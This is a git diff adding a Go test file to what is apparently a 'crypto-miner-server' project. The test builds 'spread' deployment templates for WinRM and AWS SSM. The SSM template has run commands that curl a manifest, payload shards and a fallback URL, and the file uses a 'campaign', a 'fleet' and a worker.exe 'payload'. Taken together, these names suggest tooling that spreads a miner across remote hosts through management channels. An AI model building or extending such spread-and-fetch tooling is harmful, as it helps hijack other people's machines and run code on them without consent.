diff --git a/server/internal/api/spread_lanes_test.go b/server/internal/api/spread_lanes_test.go new file mode 100644 index 0000000..bc3dc81 --- /dev/null +++ b/server/internal/api/spread_lanes_test.go @@ -0,0 +1,65 @@ +package api + +import ( + "os" + "path/filepath" + "strings" + "testing" + + dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +func writeDeploySpreadTemplates(t *testing.T, root string) { + t.Helper() + winrmDir := filepath.Join(root, "templates", "spread", "winrm") + if err := os.MkdirAll(winrmDir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(`Enable-PSRemoting`), 0o644); err != nil { + t.Fatal(err) + } + ssmDir := filepath.Join(root, "templates", "spread", "ssm") + _ = os.MkdirAll(ssmDir, 0o755) + _ = os.WriteFile(filepath.Join(ssmDir, "document.json"), []byte(`{"schemaVersion":"2.2","mainSteps":[{"inputs":{"runCommand":["curl '{{MANIFEST_URL}}'","{{SHARD_FETCH_LINES}}","curl '{{FALLBACK_GET_URL}}'"]}}]}`), 0o644) + _ = os.WriteFile(filepath.Join(ssmDir, "run-command.json"), []byte(`{"DocumentName":"AetherForge-ErasureSpread-{{BUILD_ID}}"}`), 0o644) + _ = os.WriteFile(filepath.Join(ssmDir, "create-document.sh"), []byte(`#!/bin/sh`), 0o644) +} + +func TestDeployPlanSSMDocumentLane(t *testing.T) { + root := t.TempDir() + writeDeploySpreadTemplates(t, root) + h := testDeployPlanHandlerWithRoot(t, root) + plan, err := h.buildPlan(deployPlanRequest{ + Platform: "linux", BuildID: "b1", Campaign: "ssm-lab", + }, "AmazonSSMAgent", ServiceDeployLane{Lane: "ssm_document", Template: "ssm-document"}) + if err != nil { + t.Fatal(err) + } + if plan.JoinLane != "ssm_document" || plan.SSMDocument == "" { + t.Fatalf("plan=%+v", plan) + } + if !strings.Contains(plan.SSMDocument, "schemaVersion") { + t.Fatalf("doc=%s", plan.SSMDocument) + } +} + +func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlanHandler { + t.Helper() + dir := t.TempDir() + database, err := dbpkg.New(dir) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + buildDir := filepath.Join(dir, "builds", "b1") + _ = os.MkdirAll(buildDir, 0o755) + artifact := filepath.Join(buildDir, "worker.exe") + _ = os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644) + _ = database.InsertBuild(&models.BuildRecord{ID: "b1", Platform: "linux", FileName: "worker.exe", FilePath: artifact}) + return NewDeployPlanHandler(database, dir, projectRoot, + func() string { return "http://127.0.0.1:8989" }, + func() string { return "fleet-test" }, + func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }, + ) +}